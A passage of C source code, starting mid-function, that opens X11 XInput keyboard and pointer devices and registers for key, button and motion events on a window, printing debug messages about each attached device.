rawmotion = 1;
if (debug)
printf("using xinput2 raw motion events\n");
}
devinfo = XListInputDevices(dpy, &numdevs);
XEventClass event_list[numdevs * 2];
for (i = 0; i < numdevs; i++) {
if (devinfo[i].use != IsXExtensionKeyboard &&
devinfo[i].use != IsXExtensionPointer)
continue;
if (!(device = XOpenDevice(dpy, devinfo[i].id)))
break;
for (ici = device->classes, j = 0; j < devinfo[i].num_classes;
ici++, j++) {
switch (ici->input_class) {
case KeyClass:
if (debug)
printf("attaching to keyboard device "
"%s (use %d)\n", devinfo[i].name,
devinfo[i].use);
DeviceKeyPress(device, key_press_type,
event_list[ev]); ev++;
DeviceKeyRelease(device, key_release_type,
event_list[ev]); ev++;
break;
case ButtonClass:
if (rawmotion)
continue;
if (debug)
printf("attaching to buttoned device "
"%s (use %d)\n", devinfo[i].name,
devinfo[i].use);
DeviceButtonPress(device, button_press_type,
event_list[ev]); ev++;
DeviceButtonRelease(device,
button_release_type, event_list[ev]); ev++;
break;
case ValuatorClass:
if (rawmotion)
continue;
if (debug)
printf("attaching to pointing device "
"%s (use %d)\n", devinfo[i].name,
devinfo[i].use);
DeviceMotionNotify(device, motion_type,
event_list[ev]); ev++;
break;
}
}
if (XSelectExtensionEvent(dpy, win, event_list, ev)) {
warn("error selecting extension events");
return (0);
}
}
return (ev);
}
